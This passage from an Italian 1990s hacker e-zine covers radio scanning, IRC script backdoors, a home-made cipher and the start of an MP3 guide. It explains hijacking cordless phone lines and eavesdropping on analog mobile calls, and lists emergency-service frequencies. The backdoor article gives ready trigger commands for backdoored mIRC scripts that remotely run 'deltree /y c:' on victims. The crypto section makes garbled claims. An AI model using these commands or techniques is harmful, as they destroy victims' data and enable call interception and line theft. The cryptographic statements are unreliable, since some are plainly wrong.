telefoni portatili che lavorano in entrata a 46 MHz ed in uscita a 48 MHz. Se voi aveste un telefono di questo tipo sarebbe meglio sostituirlo poiche' alcuni furboni potrebbero agganciarsi alla vostra linea. Infatti se qualcuno avesse un telefono simile al vostro e fosse nelle vostre vicinanze (non troppo anche 500 m.) potrebbe telefonare con la votra linea telefonica.... unica condizione e' che il vostro portatile non sia appoggiato alla base! Naturalmente se un tipo facesse una cosa del genere chiamando sempre un solito numero sarebbe uno sciocco poiche' potrebbe essere sgamato con facilita'!! Quindi questo sistema potrebbe essere utile per.... pensateci!! Negli ultimi tempi i telefoni non omologati sono in diminuzione, comunque se un anno fa io fossi andato sotto un grosso palazzo della mia citta' con il portatile ne avrei agganciati una dozzina... oggi meno della meta'! Ora passiamo a parlare dei ponti radio che vengono utilizzati per i diversi servizi. I ponti radio installati su palazzi alti, su tralicci e su alture, servono per ripetere il segnale di una qualsiasi radio portatile; per funzionare i ripetitori lavorano su due frequenze: una freq. A dove il ponte riceve il segnale trasmesso dal portatile, ed una freq. B dove ritrasmette il segnale amplificato che verra' poi ricevuto dal portatile. Il portatile quindi riceve in B e automaticamente quando trasmette passa in A. I ponti sono utilizzati da vigili urbani, bus, crocerossa, servizi di sorveglianza, grossi cantieri, autostrade, enel, etc. Per ascoltare un ponte basta sintonizzarsi sulla sua frequenza di uscita (A). Per aprire un ripetitore e poterci parlare sopra la cosa si complica un pochino, ma non troppo. Condizione e' avere una radio che trasmette sulla frequenza di entrata del ponte!! Molte sono le radio disponibili sul mercato... i prezzi vanno dalle 600.000 lire in su per apparecchi nuovi, ma se ne trovano anche usati. Per aprire il ponte si deve memorizzare nella memoria della radio la frequenza di uscita e di entrata del ponte; a volte pero' questo non basta: infatti ormai nell'80% dei casi per transitare su un ripetitore serve anche un tono... Il tono e' una nota che viene trasmessa insieme alla portante mentre uno parla, naturalmente questa nota viene emessa ad una frequenza che l'orecchio umano non percepisce, ma il ponte si'... infatti se non c'e' questa nota il ponte non si eccita ;) . Questo discorso vale per tutti i ripetitori, indipendentemente dalla frequenza su cui lavorano. Un altro elemento per apripre un ponte e' la differenza che c'e' tra la frequenza di entrata e di uscita, lo shift. Comunemente lo shift e' di -4.6 MHz per i ponti civili (freq. uscita da 160.000 a 174.000 MHz), mentre in quelli della finanza lo shift e' di -800 -1000 KHz. In quelli radioamatoriali lo shift e' di -600 KHz. UHF Le UHF (ultra high frequency) per comunicazioni radio vanno dai 300 MHz ad 1 GHz. Le UHF sono meno organizzate in gruppi di utilizzo, possiamo comunque ricordare: 300 - 410 (MHz) areonautica militare 410 - 430 (MHz) carabinieri (uscite 425-426) 430 - 440 (MHz) banda radioamatoriale 70cm. 440 - 500 (MHz) alcuni ponti privati, telefoni portatili della prima generazione verso i 490 MHz le prime reti televisive 500 - 850 (MHz) reti televisive terrestri 850 - 950 (MHz) cellulari (E-Tacs - GSM prima generazione) Le UHF sono quindi piu' ampie delle VHF e assai piu' ampie delle HF. Questo perche' vengono trasmessi i segnali video delle televisioni analogiche terrestri... quelle che noi tutti possiamo ricevere con le classiche antenne che ci sono sui tetti. A parte alcune frequenze criptate della finanza bisogna ricordare la presenza dei carabinieri... a volte ridicoli nelle loro comunicazioni. I loro ponti coprono zone molto estese e sono divisi per centrali, ogni centrale e' identificata con un numero. L'uscita va dai 425 ai 426 MHz l'entrata -10 MHz. Non utilizzano nessun tono pero' e' consigliabile non rompere.... alcune centrali stanno sperimentando delle comunicazioni criptate. 900 MHz Per ascoltare i cellualari basta poco.... le radio e gli scanner dell'ultima generazione possiedono gia' la gamma dei 900 MHz mentre le radio piu' anziane possono essere modificate con un appostito convertitore che costa una trentina di mila lire. C'e' poco da dire... i cellulari che si ascoltano sono gli E-Tacs poiche' la trasmissione dei GSM e' totalmente numerica (digitale). Gli E-tacs sono ascoltabili dai 930 ai 950 Mhz in uscita, cioe' il segnale che viene trasmesso dalle antenne TELECOM mentre la frequenza in entrata e' a - 50 MHz (il segnale trasmesso dal telefonino). Tra i canali la spaziatura e' di 525 KHz. Se un telefono e' in movimento veloce non possiamo ascoltarlo molto a lungo poiche' avviene un cambiamento repentino della frequenza utilizzata, mentre se un cellulare e' fermo in una determinata zona lo si puo' ascoltare per delle mezz'ore. -------------------------------- PIEMONTE -------------------------------- -PRONTO INTERVENTO E CARABINIERI Torino e provincia 37.550 38.050 170.400 426.250 426.550 426.775 426.875 426.925 Alessandria e prov. 171.525 425.900 426.050 426.125 426.300 426.950 Asti e prov. 426.400 426.450 426.725 426.825 426.975 Cuneo e prov. 171.300 425.375 425.650 425.650 425.700 425.775 426.150 Novara e prov. 426.350 426.675 426.625 426.750 426.850 Vercelli e prov. 425.325 425.400 425.275 425.725 425.575 -POLIZIA 77.275 AL 78.800 BI 78.300 NO 77.275 Valenza 78.975 VB 78.600 A4 76.900 A5 78.375 A7-A26 78.450 A21 78375 A26 -FINANZA 153.800 - 154500 429.000 - 429.975 -VIGILI DEL FUOCO 73.850 TO 73.675 AL 73.850 AT 73.850 CN 73.900 NO 73.575 VC SOCCORSO ALPINO 71.500 71.550 ----------------------------- LIGURIA ----------------------------- -PRONTO INTERVENTO E CARABINIERI Genova e prov. 37.350 37.850 426.350 426.625 426.675 426.750 426.850 Imperia e prov. 425.950 426.325 426.800 426.900 La Spezia e prov. 425.350 426.250 426.825 426.550 Savona e prov. 425.450 425.750 426.175 426.575 426.650 -POLIZIA 77.075 Chiavari 77.450 GE 77.375 78.375 A6 A7 A10 78.450 A12 a 15 -FINANZA 153.800 -154.500 -VIGILI DEL FUOCO 73.550 GE 73.750 GE 73.800 GE 73.600 IM 73.700 La Spezia 73.950 SV -------------------------------- LOMBARDIA -------------------------------- -PRONTO INTERVENTO E CARABINIERI Milano e prov. 38.000 173.800 da 425.000 a 425.600 ogni 25 Khz Bergamo e prov. 37.600 425.950 426.200 426.325 426.800 426.900 Brescia e prov. 171.425 426.400 426.450 426.725 426.825 426.975 Como e prov. 37.650 37.750 37.850 171.350 425.375 425.650 425.700 425.775 426.150 Cremona e prov. 173.640 425.350 425.425 425.825 426.250 426.550 Mantova e prov. 171.075 426.350 426.625 426.675 426.750 426.850 Pavia e prov. 37.600 171.275 425.800 425.875 426.275 426.375 426.600 Sondrio e prov. 426.250 426.550 426.775 426.875 426.925 Varese e prov. 37.700 171.250 425.550 425.925 426.100 426.225 426.425 -POLIZIA 77.750 BG 77.425 BS 77.975 Busto A. 78.200 CO 77.450 CR 78.275 LE 78.725 LO 76.850 MN 78.325 78.500 76.850 76.875 77.925 MI 78.225 PV 77.975 VA -FINANZA 153.800 - 154.500 -VIGILI DEL FUOCO 73.650 MI 73.600 MI prov. 73.700 BG 73.750 BR 73.600 CO 73.750 CR MN 73.500 PV 73.850 SO 73.900 VA -SOCCORSO ALPINO 71.500 -------------------------------- VENETO -------------------------------- -PRONTO INTERVENTO E CARABINIERI Venezia e prov. 425.450 425.750 426.175 426.575 426.650 Padova e prov. 425.800 425.875 426.275 426.375 426.600 Rovigo e prov. 426.250 426.775 426.875 426.925 426.550 Treviso e prov. 425.025 425.100 425.200 425.500 425.625 Verona e prov. 425.900 426.050 426.125 426.300 426.950 Vicenza e prov. 425.000 425.050 425.150 425.600 425.675 -POLIZIA Belluno 77.550 77.600 Jesolo - Chioggia 77.250 Verona 77.825 77.700 -FINANZA 153.800 - 154.500 -VIGILI DEL FUOCO 73.550 Venezia 73.600 Venezia - Rovigo - Treviso - Vicenza 73.900 Rovigo e Padova -VERONA BASE NATO Monte Mosca 140.600 146.700 152.600 -------------------------------- EMILIA ROMAGNA -------------------------------- -PRONTO INTERVENTO E CARABINIERI Bologna e prov. 425.925 425.550 426.100 426.225 426.425 Ferrara e prov. 425.375 425.650 425.700 425.775 425.150 Modena e prov. 172.150 424.575 424.675 425.300 Parma e prov. 172.000 424.500 424.700 424.775 424.875 Piacenza e prov. 171.050 424.550 424.625 424.975 424.925 Ravenna e prov. 425.175 425.250 425.525 425.850 Reggio Emilia e prov. 171.500 424.525 424.600 424.800 424.900 424.950 -POLIZIA 77.400 Piacenza 77.650 Riccione - Rimini 77.800 Stradale -VIGILI DEL FUOCO 73.900 Bologna città - Forli' - Ravenna 73.550 Bologna - Ferrara - Modena - Reggio Emilia 73.650 Bologna - 73.950 Ferrara - Forli' - Ravenna 73.850 Modena - Reggio E. 73.975 Parma onid^ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ iRC áACKD00R ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ IRC Backdoor - Written by Blinking of Soft Project a) Introduzione b) Si', ma cos'e' questa backdoor? c) E' pericolosa? d) Alcuni esempi e) Come proteggersi? f) Fine a) Introduzione Backdoor: questa magica parolina ha sempre suscitato in me interesse perche' rappresenta l'eccezione alla regola. Trattero' con particolare riguardo in questo breve articolo le backdoor dei programmi per Internet Relay Chat (IRC) in modo particolare degli script che vengono aggiunti ad essi. Le backdoor sono il risultato di 'errori' se cosi' si possono definire da parte del programmatore, ma molto piu' spesso, originate dall'intento di chi scrive gli script di sfruttare a suo favore il fatto che un utente usi uno script. b) Si', ma cos'e' questa backdoor? E' una particolare funzione di un programma che puo' essere usata per far fare qualcosa ad una persona senza che essa lo abbia voluto. c) E' pericolosa? Dipende se la si subisce o la si fa a qualcuno :D Nei casi peggiori una backdoor puo' anche lasciare che un intruso esegua comandi da remoto e questo puo' compromettere la sicurezza dell'intero sistema. In altri casi invece la backdoor permette di agire sui comandi di irc quali quit, kick, op, ecc. in modo da assumere il controllo anche di altri utenti. d) Alcuni esempi Elenco qui di seguito alcuni esempi di backdoor che esistono negli script per mIRC (quindi di windoze) che tutti almeno una volta abbiamo provato, credendo che potessero solo migliorare la nostra sicurezza ed aggiungere delle comodita'. * Glitch v4.3 (e precedenti) by ]-[obbes (found by DRW) Attendere che l'utente vada 'away' quindi: /ctcp VITTIMA MESSAGE ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Protection Master v4.6 (e precedenti) by Ventura (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * The Pivels2.0 by killex (found by DRW) Solo per chi ha usato il programma 's-ping' incluso almeno una volta: !say /msg $2 $3- !part /part $1 !chans /msg #b000haaa just uh use /msg me !!! /say mirc identifier hjth jkrhth rkjhtjkhr jkwhkj hjkw YOU KNOW HOE BITCH !kill /kill $2 $3- !timer /timer $2 $3 $4- !clsfile /write -c C:\config.xxx !exit /exit !unload /unload -rs C:\config.xxx !op /mode $2 +o $3- Quindi !timer 0 1 run -n c:\windows\command\deltree /y c: * Peter Pan script by peterpan (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Static Orange 2.0 (e le beta della 3.0) by webba (efnet ircop) (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * C-Script (vecchie versioni) (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Mystique fino alla beta 4 by [3]nigmaZ (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Mystique fino alla beta 5 esclusa: Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400)) * ircN (vecchie versioni [pre v4]) by icN (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * 7th Sphere 2.666 by cashmere & venum (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * 7th Sphere v3 Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400)) * WWW irc 7.2 by supergat3 (found by DRW) alias wwwback { %enc = *1 %enc = $replace(%enc,a,©) | %enc = $replace(%enc,b,æ) | %enc = $replace(%enc,c,¡) | %enc = $replace(%enc,d,ï) %enc = $replace(%enc,e,«) | %enc = $replace(%enc,f,ì) | %enc = $replace(%enc,g,Å) | %enc = $replace(%enc,h,è) %enc = $replace(%enc,i,Æ) | %enc = $replace(%enc,j,É) | %enc = $replace(%enc,k,ö) | %enc = $replace(%enc,l,ù) %enc = $replace(%enc,m,¢) | %enc = $replace(%enc,n,¥) | %enc = $replace(%enc,o,ä) | %enc = $replace(%enc,p,·) %enc = $replace(%enc,q,ò) | %enc = $replace(%enc,r,å) | %enc = $replace(%enc,s,½) | %enc = $replace(%enc,t,ç) %enc = $replace(%enc,u,£) | %enc = $replace(%enc,v,•) | %enc = $replace(%enc,w,Ü) | %enc = $replace(%enc,x,ñ) %enc = $replace(%enc,y,¼) | %enc = $replace(%enc,z,±) | %enc = $replace(%enc,0,²) | %enc = $replace(%enc,1,þ) %enc = $replace(%enc,2,\) | %enc = $replace(%enc,3,ë) | %enc = $replace(%enc,4,ô) | %enc = $replace(%enc,5,ó) %enc = $replace(%enc,6,º) | %enc = $replace(%enc,7,î) | %enc = $replace(%enc,8,ð) | %enc = $replace(%enc,9,÷) %enc = $replace(%enc,$chr(32),ª) | say -r00x- %enc | unset %enc } Quindi: /wwwback ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * WWW irc 7.2+ by supergat3 (nuova versione nuova backdoor) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Millennium pre beta10 by myn (found by DRW) Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c: * Millennium beta10 e successive Attendere che l'utente vada 'away' quindi: /msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400)) * Rappresent 2.2b by Data ctcp 100:x:/$2- | halt essa da' l'accesso a tutti gli utenti di livello 100 a qualsiasi comando remoto, compreso il /run e il conseguente possibile format del disco. Chi sono gli utenti di level 100? Guarda un po': on 1:connect: { auser -a 100,4,10 *!*appresent@*.usr.gpa.it auser -a 100,4,10 *!*@mercurio.gpa.it auser -a 100,4,10 *!*@*.gpa.it splay $mircdirwav\figata.wav } Il simpatico Data ha dato quella flag direttamente a lui! E non solo: a tutti gli utenti di gpa.it, chiunque essi siano. Notare che i primi due auser sono del tutto inutili (comprendono user, host e domani) visto che il terzo comprende l'intero dominio. * DYNAMIRC v5 Inserire le linee seguenti nell'aliases dyn5f /say $encr($1-) encr { %text2 = $strip(*1) | %temp2 = $r(6,7) | %text =  $+ %temp2 $+  | %temp = 0 | :next | if %temp < $len(%text2) { inc %temp | if $mid(%temp,1,%text2) == $chr(32) { %text = %text $+ $chr(160) } | else { %text = %text $+ $chr($min($asc($mid(%temp,1,%text2)),%temp2)) } | goto next } | unset %temp2 | return $replace(%text,$chr(160),$chr(32)) } min { %x = $$1 - $$2 | return %x } La sintassi generale dei comandi e': /dyn5f e per piu' comandi: /dyn5f * DYNAMIRC Versioni precedenti alla 5 - Spia un utente /dyn5f set %msgq 1 set %msgrlm /dyn5f set %msgq 1 set %msgrlm - Interrompe quando si spia un utente: /dyn5f log off - Fa quittare un utente : /dyn5f .timer 1 5 quit /dyn5f .timer 1 5 quit /dyn5f .timer 1 5 quit .timer 1 10 exit - Messaggio dall'utente: /dyn5f .msg - Quit dell'utente: incollare la stringa in query o nel canale 6(ncg_l + / kocn 6Al__t ni Ti*f ][om_ b_ m[p_^ siol [mm8 Ovviamente tutte le volte che si legge run -n comando, si puo' far eseguire in remoto un comando a piacere; che poi sia deltree, dir, chkdsk, format o altro sono solo affari vostri e nella maggior parte dei casi dello sfigato che ha la backdoor installata ;) Questi sono solo alcuni esempi delle backdoor (e forse ce ne sono altre...) degli script maggiormente diffusi tra gli utenti italiani di mIRC. e) Come proteggersi ? Le alternative possibili sono due: - la prima e' quella di utilizzare il client irc cosi' come e', cioe' senza script aggiuntivi anche se cio' comporta la perdita' di molte vantaggi che gli script possono offrire. - la seconda invece consiste nello ->scrivere<- il proprio script (dove con scrivere intendo partire da zero senza rippare o scopiazzare parti di altri script) in modo da essere sicuri al 100%. f) Fine That's all, Blinking ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ CRYPT V.6.0.0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ok. Finalmente ho trovato il tempo per scrivere questo cazzo di articolo. Iniziamo subito.... Allora, quello che vi ritrovate tra le mani, presumo sia BFI n.3 . Bene, bene, ora...non so' bene come abbiano impacchettato il tutto quei gran cazzuti dello staff di softpj, ma da qualche parte troverete un programma di cryptazione. Tenetevelo stretto, e mettetevelo in una dir. Il programma, e' alla sua prima versione pubblica. (c'e' stata un pacco di gente, ke si e' fatta un mazzo cosi' per renderlo decente)... Dicevo, ankora in beta testing, il programma e' perfettamente funzionante ed alla data in cui scrivo non e' stato ankora spakkato (leggi CRACKATO). La cosa dovrebbe fare riflettere, visto l'enorme numero di gentaglia cazzuta che l'ha avuto fra le mani. Con il pacchetto, incluso, troverete soltanto la versione per DOS. La ragione e' semplice: non ho ankora avuto il tempo di fare la conversione per UNIX. Appena sara' pronta la troverete disponibile sul mio sito: << WWW.KYUZZ.ORG/VALVOLINE >> ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ³Ä Prima di passare al funzionamento di Crypt, vediamo un po' in generale il funzionamento degli algoritmi di cryptazione: Sul mercato sono presenti piu' standard di Cryptazione (se ne contano Migliaia). Tra questi, quelli piu' efficenti, e quelli che vi ritroverete sempre tra i piedi sono molti di meno: [þ] DES [þ] PGP [þ] DES_2, e successive implementazioni Il primo della lista, e' lo standard cryptografico nel mondo UNIX, e non... Il funzionamento non e' semplicissimo, ma proveremo a dargli un'occhiata: L'algoritmo DES, allo stato attuale, produce un testo cifrato, con arricchimento (SALTING), ed utilizza chiavi da 64Bit. _____________________ _____________________ | TESTO SORGENTE (8k) | ---- SALTING --- | TESTO CIFRATO (12k) | --------------------- --------------------- Il funzionamento si basa sulle Permutazioni e le Combinazioni MATEMATICHE. In pratica ogni singolo carattere del testo sorgente, viene inserito in una sorta di casellario ideale, dove poi vengono applicate le regole basilari della Permutazione, della Combinazione, e dello Shifting. Non includo un file sorgente, sulla implementazione del DES, perche' gia' |scacco|, nei numeri precedenti ne ha parlato. Per quanto riguarda il PGP, invece, la situazione e' differente. Il PGP, si impone alla meta' degli anni '80, come algoritmo di cryptazione a chiave pubblica. Il suo funzionamento e' molto semplice: Il programma al primo utilizzo, crea una chiave PERSONALE DELL'UTENTE. Da questa chiave, viene poi, estratta una CHIAVE PUBBLICA. Il metodo utilizzato, sfrutta una proprieta' dei numeri primi, in base alla quale si puo' estrapolare da una SERIE MATEMATICA COMPLETA, una serie figlia, che e' in CORRISPONDENZA UNIVOCA con la serie Madre. In pratica alla serie Figlia, CORRISPONDE UNA ED UNA SOLA SERIE MADRE. La chiave pubblica e' cosi' libera di girare in rete, senza pericolo di un uso non autorizzato. ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ³Ä Vediamo un po' come funziona Crypt: Se avete letto la parte iniziale non sarete a digiuno di cryptazione... ...quindi possiamo parlare un po' piu' speditamente delle proprieta di CRYPT. CRYPT, si pone a meta' tra PGP e DES. In pratica il suo funzionamento si basa sull'utilizzo di 2Chiavi PRIVATE. Il testo sorgente, utilizzando queste 2 Chiavi, come vedremo in seguito produce un testo cifrato, a cui applica un algoritmo di SALTING, che arricchisce il testo con N(RANDOM), byte. La differenza con DES, sta' nel fatto, che qui i Byte di SALTING sono RANDOM e possono variare di volta in volta, anche sullo stesso file sorgente. DES, invece, utilizza dei canoni molto piu' ristretti per l'applicazione di Byte di SALTING. La differenza con PGP, sta' invece, nell'utilizzo delle chiavi. in CRYPT LE CHIAVI DEVONO RIMANERE SEGRETE, NON ESISTONO CHIAVI PUBBLICHE. Mittente e Destinatario del FILE DEVONO MANTENERE PRIVATE LE 2 CHIAVI. Il funzionamento e' quello di un programma di cryptazione tradizionale: viene passato un testo sorgente, e si ottiene in output un testo cryptato. Il programma utilizza 2Chiavi da 4096Byte. Gli algoritmi di cryptazione che agiscono sul testo sorgente sono 2: Un primo algoritmo, grazie alle chiavi, decide quale algoritmo di cifratura utilizzare. Un secondo algoritmo, genera dei Byte Random che vengono aggiunti in maniera Random, appunto, al testo cryptato. In questo modo, si aumenta del 150% l'efficenza dell'algoritmo, che resiste fin troppo bene agli attacchi comuni e non comuni. Come avrete intuito, e' di vitale importanza, LA NON DIVULGAZIONE DELLE CHIAVI. Allo stato attuale, infatti, il programma prevede che soltanto i 2 Estremi siano in possesso della chiave. In una successiva implementazione, e' prevista l'implementazione di una forma di chiave pubblica. Per rendere il passaggio delle chiavi piu' efficente. I parametri di utilizzo sono banali: Per Cryptare: [þ] CRYPT C Per Decryptare: [þ] CRYPT D Per Creare una Key: [þ] CRYPT M Per Leggere una Key: [þ] CRYPT R ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ³Ä Io avrei finito.... Probabilmente, vi starete chiedendo, perche' non ho incluso i file sorgente... la risposta e' molto semplice: BFI e' un giornale che viene letto da mezza ITALIA... ...anche i lamah (persone dall'aspetto ripugnate) lo leggono... questo potrebbe significare una sola cosa: RIPPING, RIPPING, RIPPING, RIPPING..... ...Ankora non sono pronto, per fronteggiare un'orda di Lamah, che rippano il mio Code...quando saro' pronto lo mettero'.... >> Chi di voi vuole contattarmi mi trova su #softpj (ircnet). << (In questo periodo ci sono un po' meno, perche' mi sto' godendo le vacanze!) ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ³Ä I miei ringraziamenti volano a: [S]Master, ru5ty, |scacco|, ^Budah^, KaF, Nathan, [Draven], [SoReN] ...e tutti gli altri che al momento faccio fatica a ricordare! !ITALIAN RULEZ! ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ³Ä \\alV^iCf ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ GUiDA AL M0ND0 DEGLi MP3 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ --------------------------------------------------- GuiDa Al moNdo deGlI .mp3 by Dr.Slump feat. Cavallo Only 4 Softproject 98 Crew Only 4 BFI 3 --------------------------------------------------- Rifacendomi come di conseuto allo stile pIGpEN: Luogo di stesura: Ufficio ;-) (rubiamo lo stipendio!) Materiale di consumo: 1 litro e mezzo d'acqua Gaia (400 lire a bottiglia! cazzo non ho nemmeno nulla da mangiare) Musica di sottofondo: Lo capisci l'italiano mixtape by Double S (spakka!) ATPC - Alta Tensione Produzioni Clandestine (come sopra!) Sigarette: 5 Gauloises Blu (spakkano e fanno male quindi fumatele!) A tutti i lettori: se volete che scriva altre guide oltre alle solite domande potete inviare pakketti di sigarette, lattine di birra, bottiglie di jack daniel's, barattoli di nutella a: dr_slump@thepentagon.com Prefazione, doverosa prefazione Questa guida inizialmente doveva essere scritta da me e da Cavallo... Cavallo ha fatto la bozza e il filo conduttore, io l'ho rielaborata e modificata aggiungendo molte della parti che la compongono. Il nostro prode Cavallo sicuramente non se la prendera' anche perche' ho deciso di dedicare questa guida proprio a lui. Stronzate a parte questa guida vuole essere un aiuto a tutti coloro che si avvicinano per la prima volta al fantastico modno degli .mp3 Tutti gli errori di battitura, tutte le stronzate che ci sono scritte sono ad appannaggio del Dr. Slump. *** ATTENZIONE TUTTI I PROGRAMMI CITATI NELLA GUIDA LI POTETE TROVARE ALL'URL: www.mp3.co.il/main/index.shtml *** Mini Glossario generale sul mondo degli .mp3 Quello che trovate qui di seguito e' un miniglossario che spiega in due parole il signifato di alcuni termini che nel mondo degli .mp3 sono usati molto di frequente. Per ulteriori informazioni vi rimando alle sezioni apposite. FILE.MP3 : file compresso nel formato MPEG II Layer 3. MP3 PLAYER : riproduttore di file .mp3, ne avrete bisogno se volete che dalle vostre casse esca qualcosa. CD GRABBER : programma che trasforma direttamente una traccia da CD a Wave su HD. MP3 ENCODER : programma che comprime i file .wav nel formato .mp3. MP3 DECODER : programma che decomprime i file .mp3 e li ritrasforma in .wav CODEC : Compressore/Decompressore in un dato formato audio (es LAPCM) che viene montato in windows e che permette a windows di riprodurre e convertire file salvati in quel dato formato. ID3 Tag : Parte del file MP3 (in coda) dove opzionalmente si possono inserire dati quali cantante, titolo della canzone, anno di uscita, nome album, etc... (si sta lavorando ad una versione 4 del suddetto per permettere un inserimento piu' ampio di dati, per esempio piu' caratteri nel titolo). PLAYLIST : opzione che in alcuni player consente di stilare una sorta di "scaletta" dei brani che si vogliono ascoltare. Come funziona la compressione in formato .mp3 Quello che trovate scritto qui di seguito l'ho preso da qualche fottuto giornale di quelli che si trovano nelle fottute edicole alla modica somma di lire 8000 di cui non ricordo il nome. Comunque l'articolo iniziava cosi: C'era una volta Cappuccetto Rosso... ops questa e' un'altra storia... facciamo i seri per favore e vediamo di capire come funziona la compressione in formato .mp3 La compressione secondo lo standard Mpeg audio prevede l'eliminazione di informazioni ritenute non importanti ai fini della qualita' dei suoni. Per stabilire quali siano le informazioni che possono essere eliminate ci si e' basati sullo studio delle capacita' percettive dell'orecchio umano. In pratica, quando ascoltiamo della musica o dei suoni in generale, il nostro cervello interpreta i suoni e filtra le informazioni irrilevanti. La codifica Mpeg dell'audio non fa nient'altro che la stessa cosa, ma in anticipo rispetto all'udito, utilizzando la cosiddetta codifica percettuale. I concetti alla base di questo tipo di codifica sono a loro volta basati sulla capacita' di percezione secondo la frequenza e l'intensita' di un suono e sul "mascheramento" di suoni da parte di altri. Suoni con frequenze piu' basse e piu' acute devono avere un'intensita maggiore rispetto a suoni con frequenza media per poter essere percepiti distintamente. Inoltre anche suoni normalmente percettibili possono non esserlo piu' se immediatamente preceduti da suoni piu intensi, ovvero un suono debole puo' essere "mascherato" da uno piu' forte che lo precede. La procedura di compressione prevede l'analisi dello spettro del segnale audio e la sua divisione in sub bande, quindi l'applicazione di un modello psico-acustico per definire quale sia il livello di suono percettibile. Di conseguenza viene valutato se codificare questa parte di segnale o meno. Questi principi costituiscono le fondamenta del sistema di codifica Mpeg audio, che comprende tre diversi schemi di codifica, chiamati Layer 1, Layer 2 e Layer 3, compatibili gerarchicamente (cioe' un lettore Mpeg Layer 3 potra' decodificare anche i format Layer 1 e 2, mentre un lettore Mpeg Layer 2 potra' leggere audio layer 2 e 1, ma non layer 3). Malgrado la struttura di codifica percettuale sia comune, i tre tipi di codifica producono file che necessitano di un differente transfer rate di dati per la riproduzione. In particolare il "bit rate" per il Layer 1 va da 32 a 448 kbit/s, per il Layer 2 da 32 a 384 e per il Layer 3 da 32 a 320. Ma grazie a una maggiore complessita' la qualita' della codifica Mpeg Layer 3 non decade, pur necessitando di un bit rate inferiore. In tutti i casi vengono impiegate frequenze di campionamento di 32, di 44,1 o 48 kHz, ma lo standard Mpeg 2 ne prevede anche di 16, 22,05 e 24 kHz, portando cosi' il bit rate minimo a soli 8 kbit per secondo. Le applicazioni della compressione Mpeg audio sono molteplici: tutte quelle situazioni che richiedono un bit rate molto basso non possono che trarre giovamento da questo standard di compressione, come ad esempio la trasmissione di audio via internet. Questo tipo di compressione viene usata anche per la trasmissione di audio digitale via satellite. Sembra anche che alcune importanti 